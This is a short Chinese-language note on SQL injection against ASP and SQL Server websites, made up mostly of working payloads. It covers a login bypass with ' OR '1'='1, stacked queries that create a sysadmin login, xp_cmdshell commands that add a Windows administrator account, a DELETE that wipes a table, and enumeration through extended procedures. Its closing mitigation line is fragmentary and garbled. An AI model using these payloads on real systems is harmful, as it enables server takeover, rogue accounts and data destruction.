ASP + SQL Server 架構網站普遍,程式設計師常將使用者輸入直接拼接 SQL 字串,未做參數化或過濾。漏洞非版本相關,無補丁可修,純屬程式碼缺陷。
-- 原始查詢
SELECT * FROM users WHERE username='input' AND pwd='input'
-- 注入 payload
username: anything
pwd: ' OR '1'='1
-- 產生
SELECT * FROM users WHERE username='anything' AND pwd='' OR '1'='1'
-- 條件永真,繞過登入
利用批次分隔符 ; 串接多陳述式,-- 註解掉後續原始 SQL:
id=2; EXEC sp_addlogin hacker; --
id=2; EXEC master.dbo.sp_addlogin hacker; --
id=2; EXEC master.dbo.sp_password NULL, hacker, hacker; --
id=2; EXEC master.dbo.sp_addsrvrolemember sysadmin, hacker; --
前提:應用使用 sa 或 sysadmin 權限連線資料庫(虛擬主機通常非 sysadmin,故此招常失效)。
id=2; EXEC master.dbo.xp_cmdshell 'net user hacker hacker /add'; --
id=2; EXEC master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'; --
xp_cmdshell 以 SQL Server 服務帳號權限執行作業系統命令。若服務帳號為本地系統管理員,即可完全控制伺服器。
測試注入點:
news.asp?id=117; SELECT 123; -- -- 語法錯誤顯示注入點存在
news.asp?id=117; DELETE FROM news; -- -- 若表名猜中且有權限,資料被刪
即使非 sysadmin,仍可透過 UNION 探測結構、xp_dirtree/xp_fileexist 列舉檔案系統、xp_regread 讀取登錄表等公用擴充程序洩露敏感資訊。
Command.Parameters.Add / sp_executesql,徹底隔離代碼與資料。SELECT/INSERT/UPDATE/DELETE,嚴禁 sa/sysadmin/db_owner。sp_dropextendedproc 'xp_cmdshell' 等。